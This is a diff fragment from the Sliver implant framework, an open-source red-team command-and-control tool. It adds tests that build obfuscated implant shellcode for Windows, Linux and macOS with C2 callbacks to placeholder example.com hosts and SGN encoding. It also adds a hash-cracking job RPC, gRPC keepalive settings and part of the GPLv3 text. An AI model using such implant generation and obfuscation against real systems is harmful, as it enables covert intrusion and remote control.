|
||||
t.Fatalf("expected -fdebug-prefix-map to be set for zig builds, got CC=%q", cfg.CC)
|
||||
}
|
||||
if !strings.Contains(cfg.CXX, "-fdebug-prefix-map=") {
|
||||
t.Fatalf("expected -fdebug-prefix-map to be set for zig builds, got CXX=%q", cfg.CXX)
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,188 @@
|
||||
package generate
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2019 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"os"
|
||||
"runtime"
|
||||
"testing"
|
||||
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
"github.com/bishopfox/sliver/server/configs"
|
||||
"github.com/bishopfox/sliver/server/encoders/shellcode/sgn"
|
||||
)
|
||||
|
||||
func TestSliverShellcodeWindows(t *testing.T) {
|
||||
// Shared Library Shellcode
|
||||
multiWindowsLibraryShellcode(t, true)
|
||||
multiWindowsLibraryShellcode(t, false)
|
||||
}
|
||||
|
||||
func multiWindowsLibraryShellcode(t *testing.T, debug bool) {
|
||||
t.Logf("[multi] SHELLCODE windows/amd64 - debug: %v", debug)
|
||||
name := fmt.Sprintf("multilibrary_shellcode_test%d", nonce)
|
||||
config := &clientpb.ImplantConfig{
|
||||
GOOS: "windows",
|
||||
GOARCH: "amd64",
|
||||
|
||||
C2: []*clientpb.ImplantC2{
|
||||
{URL: "mtls://1.example.com"},
|
||||
{Priority: 2, URL: "mtls://2.example.com"},
|
||||
{URL: "https://3.example.com"},
|
||||
{URL: "dns://4.example.com", Options: "asdf"},
|
||||
},
|
||||
Debug: debug,
|
||||
ObfuscateSymbols: true,
|
||||
Format: clientpb.OutputFormat_SHELLCODE,
|
||||
IsShellcode: true,
|
||||
IsSharedLib: false,
|
||||
Exports: []string{"FoobarW"},
|
||||
IncludeMTLS: true,
|
||||
IncludeHTTP: true,
|
||||
IncludeDNS: true,
|
||||
}
|
||||
httpC2Config := configs.GenerateDefaultHTTPC2Config()
|
||||
nonce++
|
||||
build, _ := GenerateConfig(name, config)
|
||||
binPath, err := SliverShellcode(name, build, config, httpC2Config.ImplantConfig)
|
||||
if err != nil {
|
||||
t.Fatalf("%v", err)
|
||||
}
|
||||
defer cleanupGeneratedArtifacts(t, binPath)
|
||||
|
||||
// encode bin with sgn
|
||||
bin, err := os.ReadFile(binPath)
|
||||
if err != nil {
|
||||
t.Fatalf("reading generated shared lib shellcode failed: %v", err)
|
||||
}
|
||||
_, err = sgn.EncodeShellcodeWithConfig(bin, sgn.SGNConfig{
|
||||
Iterations: 1,
|
||||
PlainDecoder: false,
|
||||
Safe: true,
|
||||
MaxObfuscation: 100,
|
||||
})
|
||||
if err != nil {
|
||||
t.Fatalf("sgn encode failed: %v", err)
|
||||
}
|
||||
}
|
||||
|
||||
func TestSliverShellcodeLinux(t *testing.T) {
|
||||
multiLinuxShellcode(t, "amd64", true)
|
||||
multiLinuxShellcode(t, "amd64", false)
|
||||
|
||||
multiLinuxShellcode(t, "arm64", true)
|
||||
multiLinuxShellcode(t, "arm64", false)
|
||||
}
|
||||
|
||||
func multiLinuxShellcode(t *testing.T, goarch string, debug bool) {
|
||||
t.Helper()
|
||||
|
||||
t.Logf("[multi] SHELLCODE linux/%s - debug: %v", goarch, debug)
|
||||
name := fmt.Sprintf("multi_linux_shellcode_test%d", nonce)
|
||||
config := &clientpb.ImplantConfig{
|
||||
GOOS: "linux",
|
||||
GOARCH: goarch,
|
||||
|
||||
C2: []*clientpb.ImplantC2{
|
||||
{URL: "mtls://1.example.com"},
|
||||
{Priority: 2, URL: "mtls://2.example.com"},
|
||||
{URL: "https://3.example.com"},
|
||||
{URL: "dns://4.example.com", Options: "asdf"},
|
||||
},
|
||||
Debug: debug,
|
||||
ObfuscateSymbols: true,
|
||||
Format: clientpb.OutputFormat_SHELLCODE,
|
||||
IsShellcode: true,
|
||||
IsSharedLib: false,
|
||||
Exports: []string{"FoobarW"},
|
||||
IncludeMTLS: true,
|
||||
IncludeHTTP: true,
|
||||
IncludeDNS: true,
|
||||
}
|
||||
httpC2Config := configs.GenerateDefaultHTTPC2Config()
|
||||
nonce++
|
||||
build, _ := GenerateConfig(name, config)
|
||||
binPath, err := SliverShellcode(name, build, config, httpC2Config.ImplantConfig)
|
||||
if err != nil {
|
||||
t.Fatalf("%v", err)
|
||||
}
|
||||
defer cleanupGeneratedArtifacts(t, binPath)
|
||||
|
||||
bin, err := os.ReadFile(binPath)
|
||||
if err != nil {
|
||||
t.Fatalf("reading generated linux shellcode failed: %v", err)
|
||||
}
|
||||
if len(bin) == 0 {
|
||||
t.Fatalf("generated linux shellcode is empty")
|
||||
}
|
||||
}
|
||||
|
||||
func TestSliverShellcodeDarwin(t *testing.T) {
|
||||
// darwin shellcode generation requires a native toolchain (no default zig/osxcross support).
|
||||
if runtime.GOOS != "darwin" {
|
||||
t.Skipf("Skipping darwin shellcode generation on %s", runtime.GOOS)
|
||||
}
|
||||
|
||||
multiDarwinShellcode(t, true)
|
||||
multiDarwinShellcode(t, false)
|
||||
}
|
||||
|
||||
func multiDarwinShellcode(t *testing.T, debug bool) {
|
||||
t.Helper()
|
||||
|
||||
t.Logf("[multi] SHELLCODE darwin/arm64 - debug: %v", debug)
|
||||
name := fmt.Sprintf("multi_darwin_shellcode_test%d", nonce)
|
||||
config := &clientpb.ImplantConfig{
|
||||
GOOS: "darwin",
|
||||
GOARCH: "arm64",
|
||||
|
||||
C2: []*clientpb.ImplantC2{
|
||||
{URL: "mtls://1.example.com"},
|
||||
{Priority: 2, URL: "mtls://2.example.com"},
|
||||
{URL: "https://3.example.com"},
|
||||
{URL: "dns://4.example.com", Options: "asdf"},
|
||||
},
|
||||
Debug: debug,
|
||||
ObfuscateSymbols: true,
|
||||
Format: clientpb.OutputFormat_SHELLCODE,
|
||||
IsShellcode: true,
|
||||
IsSharedLib: false,
|
||||
Exports: []string{"FoobarW"},
|
||||
IncludeMTLS: true,
|
||||
IncludeHTTP: true,
|
||||
IncludeDNS: true,
|
||||
}
|
||||
httpC2Config := configs.GenerateDefaultHTTPC2Config()
|
||||
nonce++
|
||||
build, _ := GenerateConfig(name, config)
|
||||
binPath, err := SliverShellcode(name, build, config, httpC2Config.ImplantConfig)
|
||||
if err != nil {
|
||||
t.Fatalf("%v", err)
|
||||
}
|
||||
defer cleanupGeneratedArtifacts(t, binPath)
|
||||
|
||||
bin, err := os.ReadFile(binPath)
|
||||
if err != nil {
|
||||
t.Fatalf("reading generated darwin shellcode failed: %v", err)
|
||||
}
|
||||
if len(bin) == 0 {
|
||||
t.Fatalf("generated darwin shellcode is empty")
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,76 @@
|
||||
package rpc
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2022 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
import (
|
||||
"context"
|
||||
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
"github.com/bishopfox/sliver/server/db"
|
||||
"github.com/bishopfox/sliver/server/db/models"
|
||||
"github.com/bishopfox/sliver/server/log"
|
||||
"github.com/gofrs/uuid"
|
||||
"google.golang.org/grpc/codes"
|
||||
"google.golang.org/grpc/status"
|
||||
"gorm.io/gorm"
|
||||
)
|
||||
|
||||
var (
|
||||
crackCommandRpcLog = log.NamedLogger("rpc", "crack")
|
||||
)
|
||||
|
||||
func (rpc *Server) Crack(ctx context.Context, req *clientpb.CrackCommand) (*clientpb.CrackResponse, error) {
|
||||
if req == nil {
|
||||
crackCommandRpcLog.Warn("Received empty crack command")
|
||||
return &clientpb.CrackResponse{}, nil
|
||||
}
|
||||
|
||||
crackCommandRpcLog.Infof(
|
||||
"Crack request: attack=%s hashType=%s hashes=%d status=%t",
|
||||
req.AttackMode.String(),
|
||||
req.HashType.String(),
|
||||
len(req.Hashes),
|
||||
req.Status,
|
||||
)
|
||||
|
||||
jobID, err := uuid.NewV4()
|
||||
if err != nil {
|
||||
crackCommandRpcLog.Errorf("Failed to generate crack job ID: %s", err)
|
||||
return nil, status.Error(codes.Internal, "failed to generate crack job id")
|
||||
}
|
||||
|
||||
job := &models.CrackJob{
|
||||
ID: jobID,
|
||||
}
|
||||
command := models.CrackCommand{}.FromProtobuf(req)
|
||||
command.CrackJobID = jobID
|
||||
|
||||
if err := db.Session().Transaction(func(tx *gorm.DB) error {
|
||||
if err := tx.Create(job).Error; err != nil {
|
||||
return err
|
||||
}
|
||||
return tx.Create(command).Error
|
||||
}); err != nil {
|
||||
crackCommandRpcLog.Errorf("Failed to save crack job: %s", err)
|
||||
return nil, status.Error(codes.Internal, "failed to save crack job")
|
||||
}
|
||||
|
||||
job.Command = *command
|
||||
return &clientpb.CrackResponse{Job: job.ToProtobuf()}, nil
|
||||
}
|
||||
@@ -40,6 +40,7 @@ import (
|
||||
"google.golang.org/grpc/codes"
|
||||
"google.golang.org/grpc/status"
|
||||
"google.golang.org/protobuf/proto"
|
||||
"gorm.io/gorm"
|
||||
)
|
||||
|
||||
var (
|
||||
@@ -112,16 +113,37 @@ func (rpc *Server) CrackstationBenchmark(ctx context.Context, req *clientpb.Crac
|
||||
crackRpcLog.Errorf("Failed to get crackstation by host UUID: %s", err)
|
||||
return nil, status.Errorf(codes.NotFound, "Failed to find crackstation by host UUID")
|
||||
}
|
||||
crackstation.Benchmarks = []models.Benchmark{}
|
||||
benchmarks := make([]models.Benchmark, 0, len(req.Benchmarks))
|
||||
for hashType, speed := range req.Benchmarks {
|
||||
crackstation.Benchmarks = append(crackstation.Benchmarks, models.Benchmark{HashType: hashType, PerSecondRate: speed})
|
||||
benchmarks = append(benchmarks, models.Benchmark{
|
||||
CrackstationID: crackstation.ID,
|
||||
HashType: hashType,
|
||||
PerSecondRate: speed,
|
||||
})
|
||||
}
|
||||
|
||||
dbSession := db.Session()
|
||||
err = dbSession.Save(&crackstation).Error
|
||||
err = dbSession.Transaction(func(tx *gorm.DB) error {
|
||||
if err := tx.Where("crackstation_id = ?", crackstation.ID).Delete(&models.Benchmark{}).Error; err != nil {
|
||||
return err
|
||||
}
|
||||
if len(benchmarks) == 0 {
|
||||
return nil
|
||||
}
|
||||
return tx.Create(&benchmarks).Error
|
||||
})
|
||||
if err != nil {
|
||||
crackRpcLog.Errorf("Failed to save crackstation benchmarks: %s", err)
|
||||
return nil, status.Errorf(codes.Internal, "Failed to save crackstation benchmarks")
|
||||
}
|
||||
|
||||
crackStation := core.GetCrackstation(req.HostUUID)
|
||||
if crackStation != nil {
|
||||
crackStation.Station.Benchmarks = map[int32]uint64{}
|
||||
for hashType, speed := range req.Benchmarks {
|
||||
crackStation.Station.Benchmarks[hashType] = speed
|
||||
}
|
||||
}
|
||||
return &commonpb.Empty{}, nil
|
||||
}
|
||||
|
||||
@@ -161,7 +183,12 @@ func (rpc *Server) CrackstationRegister(req *clientpb.Crackstation, stream rpcpb
|
||||
|
||||
if len(dbCrackstation.Benchmarks) == 0 {
|
||||
crackRpcLog.Infof("No benchmark information for '%s', requesting benchmark...", req.Name)
|
||||
err = stream.Send(&clientpb.Event{EventType: consts.CrackBenchmark, Data: []byte{}})
|
||||
taskID, err := uuid.NewV4()
|
||||
if err != nil {
|
||||
crackRpcLog.Errorf("Failed to generate benchmark task ID: %s", err)
|
||||
return status.Error(codes.Internal, "failed to create benchmark task")
|
||||
}
|
||||
err = stream.Send(&clientpb.Event{EventType: consts.CrackBenchmark, Data: taskID.Bytes()})
|
||||
if err != nil {
|
||||
crackRpcLog.Errorf("Failed to send benchmark task to crackstation: %s", err)
|
||||
return status.Error(codes.Internal, "failed to send benchmark task")
|
||||
|
||||
@@ -0,0 +1,36 @@
|
||||
package rpc
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2020 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
import (
|
||||
"context"
|
||||
|
||||
"github.com/bishopfox/sliver/protobuf/commonpb"
|
||||
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
)
|
||||
|
||||
// ExecuteChildren - List tracked background execute child processes
|
||||
func (rpc *Server) ExecuteChildren(ctx context.Context, req *sliverpb.ExecuteChildrenReq) (*sliverpb.ExecuteChildren, error) {
|
||||
resp := &sliverpb.ExecuteChildren{Response: &commonpb.Response{}}
|
||||
err := rpc.GenericHandler(req, resp)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
return resp, nil
|
||||
}
|
||||
@@ -0,0 +1,50 @@
|
||||
package transport
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2019 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
import (
|
||||
"time"
|
||||
|
||||
"google.golang.org/grpc"
|
||||
"google.golang.org/grpc/keepalive"
|
||||
)
|
||||
|
||||
func grpcKeepaliveOptions() []grpc.ServerOption {
|
||||
if serverConfig == nil || serverConfig.GRPC == nil || serverConfig.GRPC.Keepalive == nil {
|
||||
return nil
|
||||
}
|
||||
|
||||
minTimeSeconds := serverConfig.GRPC.Keepalive.MinTimeSeconds
|
||||
if minTimeSeconds <= 0 {
|
||||
return nil
|
||||
}
|
||||
|
||||
permitWithoutStream := true
|
||||
if serverConfig.GRPC.Keepalive.PermitWithoutStream != nil {
|
||||
permitWithoutStream = *serverConfig.GRPC.Keepalive.PermitWithoutStream
|
||||
}
|
||||
|
||||
policy := keepalive.EnforcementPolicy{
|
||||
MinTime: time.Duration(minTimeSeconds) * time.Second,
|
||||
PermitWithoutStream: permitWithoutStream,
|
||||
}
|
||||
return []grpc.ServerOption{
|
||||
grpc.KeepaliveEnforcementPolicy(policy),
|
||||
}
|
||||
}
|
||||
@@ -43,6 +43,7 @@ func LocalListener() (*grpc.Server, *bufconn.Listener, error) {
|
||||
grpc.MaxRecvMsgSize(ServerMaxMessageSize),
|
||||
grpc.MaxSendMsgSize(ServerMaxMessageSize),
|
||||
}
|
||||
options = append(options, grpcKeepaliveOptions()...)
|
||||
options = append(options, initMiddleware(false)...)
|
||||
grpcServer := grpc.NewServer(options...)
|
||||
rpcpb.RegisterSliverRPCServer(grpcServer, rpc.NewServer())
|
||||
|
||||
@@ -64,6 +64,7 @@ func StartMtlsClientListener(host string, port uint16) (*grpc.Server, net.Listen
|
||||
grpc.MaxRecvMsgSize(ServerMaxMessageSize),
|
||||
grpc.MaxSendMsgSize(ServerMaxMessageSize),
|
||||
}
|
||||
options = append(options, grpcKeepaliveOptions()...)
|
||||
options = append(options, initMiddleware(true)...)
|
||||
grpcServer := grpc.NewServer(options...)
|
||||
rpcpb.RegisterSliverRPCServer(grpcServer, rpc.NewServer())
|
||||
|
||||
@@ -81,6 +81,7 @@ func StartTsNetClientListener(hostname string, port uint16) (*grpc.Server, net.L
|
||||
grpc.MaxRecvMsgSize(ServerMaxMessageSize),
|
||||
grpc.MaxSendMsgSize(ServerMaxMessageSize),
|
||||
}
|
||||
options = append(options, grpcKeepaliveOptions()...)
|
||||
options = append(options, initMiddleware(true)...)
|
||||
grpcServer := grpc.NewServer(options...)
|
||||
rpcpb.RegisterSliverRPCServer(grpcServer, rpc.NewServer())
|
||||
|
||||
+32
@@ -0,0 +1,32 @@
|
||||
# OS / editor
|
||||
.DS_Store
|
||||
*.swp
|
||||
*.swo
|
||||
*~
|
||||
.idea/
|
||||
.vscode/
|
||||
.cache/
|
||||
|
||||
# Go
|
||||
*.exe
|
||||
*.test
|
||||
*.out
|
||||
*.prof
|
||||
coverage.out
|
||||
cover.out
|
||||
go.work
|
||||
go.work.sum
|
||||
|
||||
# Common local build outputs
|
||||
malasada
|
||||
malasada.exe
|
||||
|
||||
# Zig
|
||||
zig-cache/
|
||||
zig-out/
|
||||
|
||||
# Test harness artifacts
|
||||
testdata/**/*.so
|
||||
testdata/**/*.bin
|
||||
testdata/runner/runner
|
||||
testdata/runner/runner.exe
|
||||
+674
@@ -0,0 +1,674 @@
|
||||
GNU GENERAL PUBLIC LICENSE
|
||||
Version 3, 29 June 2007
|
||||
|
||||
Copyright (C) 2007 Free Software Foundation, Inc. <https://fsf.org/>
|
||||
Everyone is permitted to copy and distribute verbatim copies
|
||||
of this license document, but changing it is not allowed.
|
||||
|
||||
Preamble
|
||||
|
||||
The GNU General Public License is a free, copyleft license for
|
||||
software and other kinds of works.
|
||||
|
||||
The licenses for most software and other practical works are designed
|
||||
to take away your freedom to share and change the works. By contrast,
|
||||
the GNU General Public License is intended to guarantee your freedom to
|
||||
share and change all versions of a program--to make sure it remains free
|
||||
software for all its users. We, the Free Software Foundation, use the
|
||||
GNU General Public License for most of our software; it applies also to
|
||||
any other work released this way by its authors. You can apply it to
|
||||
your programs, too.
|
||||
|
||||
When we speak of free software, we are referring to freedom, not
|
||||
price. Our General Public Licenses are designed to make sure that you
|
||||
have the freedom to distribute copies of free software (and charge for
|
||||
them if you wish), that you receive source code or can get it if you
|
||||
want it, that you can change the software or use pieces of it in new
|
||||
free programs, and that you know you can do these things.
|
||||
|
||||
To protect your rights, we need to prevent others from denying you
|
||||
these rights or asking you to surrender the rights. Therefore, you have
|
||||
certain responsibilities if you distribute copies of the software, or if
|
||||
you modify it: responsibilities to respect the freedom of others.
|
||||
|
||||
For example, if you distribute copies of such a program, whether
|
||||
gratis or for a fee, you must pass on to the recipients the same
|
||||
freedoms that you received. You must make sure that they, too, receive
|
||||
or can get the source code. And you must show them these terms so they
|
||||
know their rights.
|
||||
|
||||
Developers that use the GNU GPL protect your rights with two steps:
|
||||
(1) assert copyright on the software, and (2) offer you this License
|
||||
giving you legal permission to copy, distribute and/or modify it.
|
||||
|
||||
For the developers' and authors' protection, the GPL clearly explains
|
||||
that there is no warranty for this free software. For both users' and
|
||||
authors' sake, the GPL requires that modified versions be marked as
|
||||
changed, so that their problems will not be attributed erroneously to
|
||||
authors of previous versions.
|
||||
|
||||
Some devices are designed to deny users access to install or run
|
||||
modified versions of the software inside them, although the manufacturer
|
||||
can do so. This is fundamentally incompatible with the aim of
|
||||
protecting users' freedom to change the software. The systematic
|
||||
pattern of such abuse occurs in the area of products for individuals to
|
||||
use, which is precisely where it is most unacceptable. Therefore, we
|
||||
have designed this version of the GPL to prohibit the practice for those
|
||||
products. If such problems arise substantially in other domains, we
|
||||
stand ready to extend this provision to those domains in future versions
|
||||
of the GPL, as needed to protect the freedom of users.
|
||||
|
||||
Finally, every program is threatened constantly by software patents.
|
||||
States should not allow patents to restrict development and use of
|
||||
software on general-purpose computers, but in those that do, we wish to
|
||||
avoid the special danger that patents applied to a free program could
|
||||
make it effectively proprietary. To prevent this, the GPL assures that
|
||||
patents cannot be used to render the program non-free.
|
||||
|
||||
The precise terms and conditions for copying, distribution and
|
||||
modification follow.
|
||||
|
||||
TERMS AND CONDITIONS
|
||||
|
||||
0. Definitions.
|
||||
|
||||
"This License" refers to version 3 of the GNU General Public License.
|
||||
|
||||
"Copyright" also means copyright-like laws that apply to other kinds of
|
||||
works, such as semiconductor masks.
|
||||
|
||||
"The Program" refers to any copyrightable work licensed under this
|
||||
License. Each licensee is addressed as "you". "Licensees" and
|
||||
"recipients" may be individuals or organizations.
|
||||
|
||||
To "modify" a work means to copy from or adapt all or part of the work
|
||||
in a fashion requiring copyright permission, other than the making of an
|
||||
exact copy. The resulting work is called a "modified version" of the
|
||||
earlier work or a work "based on" the earlier work.
|
||||
|
||||
A "covered work" means either the unmodified Program or a work based
|
||||
on the Program.
|
||||
|
||||
To "propagate" a work means to do anything with it that, without
|
||||
permission, would make you directly or secondarily liable for
|
||||
infringement under applicable copyright law, except executing it on a
|
||||
computer or modifying a private copy. Propagation includes copying,
|
||||
distribution (with or without modification), making available to the
|
||||
public, and in some countries other activities as well.
|
||||
|
||||
To "convey" a work means any kind of propagation that enables other
|
||||
parties to make or receive copies. Mere interaction with a user through
|
||||
a computer network, with no transfer of a copy, is not conveying.
|
||||
|
||||
An interactive user interface displays "Appropriate Legal Notices"
|
||||
to the extent that it includes a convenient and prominently visible
|
||||
feature that (1) displays an appropriate copyright notice, and (2)
|
||||
tells the user that there is no warranty for the work (except to the
|
||||
extent that warranties are provided), that licensees may convey the
|
||||
work under this License, and how to view a copy of this License. If
|
||||
the interface presents a list of user commands or options, such as a
|
||||
menu, a prominent item in the list meets this criterion.
|
||||
|
||||
1. Source Code.
|
||||
|
||||
The "source code" for a work means the preferred form of the work
|
||||
for making modifications to it. "Object code" means any non-source
|
||||
form of a work.
|
||||
|
||||
A "Standard Interface" means an interface that either is an official
|
||||
standard defined by a recognized standards body, or, in the case of
|
||||
interfaces specified for a particular programming language, one that
|
||||
is widely used among developers working in that language.
|
||||
|
||||
The "System Libraries" of an executable work include anything, other
|
||||
than the work as a whole, that (a) is included in the normal form of
|
||||
packaging a Major Component, but which is not part of that Major
|
||||
Component, and (b) serves only to enable use of the work with that
|
||||
Major Component, or to implement a Standard Interface for which an
|
||||
implementation is available to the public in source code form. A
|
||||
"Major Component", in this context, means a major essential component
|
||||
(kernel, window system, and so on) of the specific operating system
|
||||
(if any) on which the executable work runs, or a compiler used to
|
||||
produce the work, or an object code interpreter used to run it.
|
||||
|
||||
The "Corresponding Source" for a work in object code form means all
|
||||
the source code needed to generate, install, and (for an executable
|
||||
work) run the object code and to modify the work, including scripts to
|
||||
control those activities. However, it does not include the work's
|
||||
System Libraries, or general-purpose tools or generally available free
|
||||
programs which are used unmodified in performing those activities but
|
||||
which are not part of the work. For example, Corresponding Source
|
||||
includes interface definition files associated with source files for
|
||||
the work, and the source code for shared libraries and dynamically
|
||||
linked subprograms that the work is specifically designed to require,
|
||||
such as by intimate data communication or control flow between those
|
||||
subprograms and other parts of the work.
|
||||
|
||||
The Corresponding Source need not include anything that users
|
||||
can regenerate automatically from other parts of the Corresponding
|
||||
Source.
|
||||
|
||||
The Corresponding Source for a work in source code form is that
|
||||
same work.
|
||||
|
||||
2. Basic Permissions.
|
||||
|
||||
All rights granted under this License are granted for the term of
|
||||
copyright on the Program, and are irrevocable provided the stated
|
||||
conditions are met. This License explicitly affirms your unlimited
|
||||
permission to run the unmodified Program. The output from running a
|
||||
covered work is covered by this License only if the output, given its
|
||||
content, constitutes a covered work. This License acknowledges your
|
||||
rights of fair use or other equivalent, as provided by copyright law.
|
||||
|
||||
You may make, run and propagate covered works that you do not
|
||||
convey, without conditions so long as your license otherwise remains
|
||||
in force. You may convey covered works to others for the sole purpose
|
||||
of having them make modifications exclusively for you, or provide you
|
||||
with facilities for running those works, provided that you comply with
|
||||
the terms of this License in conveying all material for which you do
|
||||
not control copyright. Those thus making or running the covered works
|
||||
for you must do so exclusively on your behalf, under your direction
|
||||
and control, on terms that prohibit them from making any copies of
|
||||
your copyrighted material outside their relationship with you.
|
||||
|
||||
Conveying under any other circumstances is permitted solely under
|
||||
the conditions stated below. Sublicensing is not allowed; section 10
|
||||
makes it unnecessary.
|
||||
|
||||
3. Protecting Users' Legal Rights From Anti-Circumvention Law.
|
||||
|
||||
No covered work shall be deemed part of an effective technological
|
||||
measure under any applicable law fulfilling obligations under article
|
||||
11 of the WIPO copyright treaty adopted on 20 December 1996, or
|
||||
similar laws prohibiting or restricting circumvention of such
|
||||
measures.
|
||||
|
||||
When you convey a covered work, you waive any legal power to forbid
|
||||
circumvention of technological measures to the extent such circumvention
|
||||
is effected by exercising rights under this License with respect to
|
||||
the covered work, and you disclaim any intention to limit operation or
|
||||
modification of the work as a means of enforcing, against the work's
|
||||
users, your or third parties' legal rights to forbid circumvention of
|
||||
technological measures.
|
||||
|
||||
4. Conveying Verbatim Copies.
|
||||
|
||||
You may convey verbatim copies of the Program's source code as you
|
||||
receive it, in any medium, provided that you conspicuously and
|
||||
appropriately publish on each copy an appropriate copyright notice;
|
||||
keep intact all notices stating that this License and any
|
||||
non-permissive terms added in accord with section 7 apply to the code;
|
||||
keep intact all notices of the absence of any warranty; and give all
|
||||
recipients a copy of this License along with the Program.
|
||||
|
||||
You may charge any price or no price for each copy that you convey,
|
||||
and you may offer support or warranty protection for a fee.
|
||||
|
||||
5. Conveying Modified Source Versions.
|
||||
|
||||
You may convey a work based on the Program, or the modifications to
|
||||
produce it from the Program, in the form of source code under the
|
||||
terms of section 4, provided that you also meet all of these conditions:
|
||||
|
||||
a) The work must carry prominent notices stating that you modified
|
||||
it, and giving a relevant date.
|
||||
|
||||
b) The work must carry prominent notices stating that it is
|
||||
released under this License and any conditions added under section
|
||||
7. This requirement modifies the requirement in section 4 to
|
||||
"keep intact all notices".
|
||||
|
||||
c) You must license the entire work, as a whole, under this
|
||||
License to anyone who comes into possession of a copy. This
|
||||
License will therefore apply, along with any applicable section 7
|
||||
additional terms, to the whole of the work, and all its parts,
|
||||
regardless of how they are packaged. This License gives no
|
||||
permission to license the work in any other way, but it does not
|
||||
invalidate such permission if you have separately received it.
|
||||
|
||||
d) If the work has interactive user interfaces, each must display
|
||||
Appropriate Legal Notices; however, if the Program has interactive
|
||||
interfaces that do not display Appropriate Legal Notices, your
|
||||
work need not make them do so.
|
||||
|
||||
A compilation of a covered work with other separate and independent
|
||||
works, which are not by their nature extensions of the covered work,
|
||||
and which are not combined with it such as to form a larger program,
|
||||
in or on a volume of a storage or distribution medium, is called an
|
||||
"aggregate" if the compilation and its resulting copyright are not
|
||||
used to limit the access or legal rights of the compilation's users
|
||||
beyond what the individual works permit. Inclusion of a covered work
|
||||
in an aggregate does not cause this License to apply to the other
|
||||
parts of the aggregate.
|
||||
|
||||
6. Conveying Non-Source Forms.
|
||||
|
||||
You may convey a covered work in object code form under the terms
|
||||
of sections 4 and 5, provided that you also convey the
|
||||
machine-readable Corresponding Source under the terms of this License,
|
||||
in one of these ways:
|
||||
|
||||
a) Convey the object code in, or embodied in, a physical product
|
||||
(including a physical distribution medium), accompanied by the
|
||||
Corresponding Source fixed on a durable physical medium
|
||||
customarily used for software interchange.
|
||||
|
||||
b) Convey the object code in, or embodied in, a physical product
|
||||
(including a physical distribution medium), accompanied by a
|
||||
written offer, valid for at least three years and valid for as
|
||||
long as you offer spare parts or customer support for that product
|
||||
model, to give anyone who possesses the object code either (1) a
|
||||
copy of the Corresponding Source for all the software in the
|
||||
product that is covered by this License, on a durable physical
|
||||
medium customarily used for software interchange, for a price no
|
||||
more than your reasonable cost of physically performing this
|
||||
conveying of source, or (2) access to copy the
|
||||
Corresponding Source from a network server at no charge.
|
||||
|
||||
c) Convey individual copies of the object code with a copy of the
|
||||
written offer to provide the Corresponding Source. This
|
||||
alternative is allowed only occasionally and noncommercially, and
|
||||
only if you received the object code with such an offer, in accord
|
||||
with subsection 6b.
|
||||
|
||||
d) Convey the object code by offering access from a designated
|
||||
place (gratis or for a charge), and offer equivalent access to the
|
||||
Corresponding Source in the same way through the same place at no
|
||||
further charge. You need not require recipients to copy the
|
||||
Corresponding Source along with the object code. If the place to
|
||||
copy the object code is a network server, the Corresponding Source
|
||||
may be on a different server (operated by you or a third party)
|
||||
that supports equivalent copying facilities, provided you maintain
|
||||
clear directions next to the object code saying where to find the
|
||||
Corresponding Source. Regardless of what server hosts the
|
||||
Corresponding Source, you remain obligated to ensure that it is
|
||||
available for as long as needed to satisfy these requirements.
|
||||
|
||||
e) Convey the object code using peer-to-peer transmission, provided
|
||||
you inform other peers where the object code and Corresponding
|
||||
Source of the work are being offered to the general public at no
|
||||
charge under subsection 6d.
|
||||
|
||||
A separable portion of the object code, whose source code is excluded
|
||||
from the Corresponding Source as a System Library, need not be
|
||||
included in conveying the object code work.
|
||||
|
||||
A "User Product" is either (1) a "consumer product", which means any
|
||||
tangible personal property which is normally used for personal, family,
|
||||
